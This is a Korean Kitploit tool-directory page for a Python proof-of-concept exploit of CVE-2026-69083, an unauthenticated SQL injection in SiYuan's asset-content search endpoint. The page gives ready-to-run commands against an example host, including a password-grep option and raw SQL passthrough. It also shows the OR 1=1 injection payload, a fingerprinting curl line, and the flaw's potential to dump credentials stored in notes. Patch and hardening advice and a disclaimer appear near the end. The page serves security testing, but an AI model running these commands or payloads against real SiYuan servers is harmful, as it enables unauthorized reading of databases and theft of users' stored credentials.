Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-69083_exploit — CVE-2026-69083에 대한 Python PoC로, SiYuan의 asset-content 검색 엔드포인트에서 발생하는 인증되지 않은 SQL 인젝션 취약점입니다. REGEXP 우회 및 raw SQL 직접 전달을 지원하여 인덱싱된 asset과 첨부된 SQLite 데이터를 덤프할 수 있습니다. | Kitploit
도구/GitHubGitHub/0xdak/cve-2026-69083_exploit
ExploitationWeb Application ExploitationData ExfiltrationPenetration TestingDatabase Security
GitHub0xdak/cve-2026-69083_exploit

CVE-2026-69083_exploit

CVE-2026-69083에 대한 Python PoC로, SiYuan의 asset-content 검색 엔드포인트에서 발생하는 인증되지 않은 SQL 인젝션 취약점입니다. REGEXP 우회 및 raw SQL 직접 전달을 지원하여 인덱싱된 asset과 첨부된 SQLite 데이터를 덤프할 수 있습니다.

저장소 보기
16일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-69083 — SiYuan 인증되지 않은 SQL 인젝션

SiYuan(Go 기반 지식 베이스 앱)의 asset-content 검색 엔드포인트를 통한 인증되지 않은 SQL 인젝션입니다.

POST /api/search/fullTextSearchAssetContent는 사용자가 제어하는 query 값을 이스케이프 없이 REGEXP 절에 직접 연결하여 원시 SQL 문을 구성합니다 (kernel/model/asset_content.go, assetContentFieldRegexp):

root@kitploit:~
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>

query의 작은따옴표는 문자열 리터럴을 벗어나게 합니다 (CWE-89). SiYuan이 access-auth 코드 없이 배포된 경우 (Conf.AccessAuthCode == ""), 커널 전체가 호출자를 자격 증명 없이 관리자로 간주하므로 이 인젝션은 완전히 인증되지 않은 상태로 동작합니다. method:3은 REGEXP 탈출 방식이고, method:2는 추가로 query를 원시 SQL 문으로 전달합니다.

  • 영향 대상: SiYuan < 3.7.3
  • 기본 포트: 6806 (accessAuthCode가 설정되지 않으면 인증 없이 접근 가능)
  • CWE: 89 (SQL 인젝션)
  • 영향: asset-content SQLite 데이터베이스에 대한 읽기/쓰기 접근 (데이터 유출, 다른 SQLite 파일에 대한 ATTACH DATABASE) — 예: 운영자가 노트에 인덱싱한 자격 증명 덤프

요구 사항

Python 3 표준 라이브러리만 필요 — 의존성 없음.

사용법

root@kitploit:~
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/

# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password

# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
  --sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"

작동 원리

기본 페이로드는 다음과 같습니다:

root@kitploit:~
query = "zzqx') OR 1=1 -- "
  • zzqx')는 (name REGEXP '...' 그룹을 닫습니다.
  • OR 1=1은 WHERE 절을 항상 참으로 만듭니다.
  • -- 는 나머지 줄을 주석 처리하며, 뒤따르는 AND ext IN <types>도 포함됩니다 — 그렇지 않으면 types가 비어 있을 때 구문 오류가 되는 부분입니다 (SiYuan은 뒤에 아무것도 없는 AND ext IN 을 출력하고, 커널은 SQL 오류 시 조용히 행을 반환하지 않습니다).

그런 다음 엔드포인트는 asset-content 인덱스의 모든 행을 반환하며, 이 도구는 각 행의 content를 출력합니다.

대상 식별

root@kitploit:~
curl -s http://10.10.10.10:6806/system_stats  # or browse http://10.10.10.10:6806/ (no login prompt)

포트 6806에서 access-auth 코드 없이 로드되는 SiYuan 인스턴스는 공격 가능합니다.

해결 방법

  • SiYuan ≥ 3.7.3은 REGEXP 쿼리(... REGEXP ?)를 매개변수화하고 method-2 원시 SQL 경로를 관리자 확인 뒤에 둡니다.
  • 항상 --accessAuthCode와 함께 SiYuan을 실행하세요; 인증되지 않은 상태로 노출하지 마세요 — access-auth 코드가 없으면 전체 커널 API가 관리자에게 개방됩니다.
  • 인덱싱된 노트/자산에 평문 자격 증명을 저장하지 마세요.

면책 조항

승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유했거나 테스트에 대한 명시적 허가를 받은 시스템에만 사용하십시오.

도구 다운로드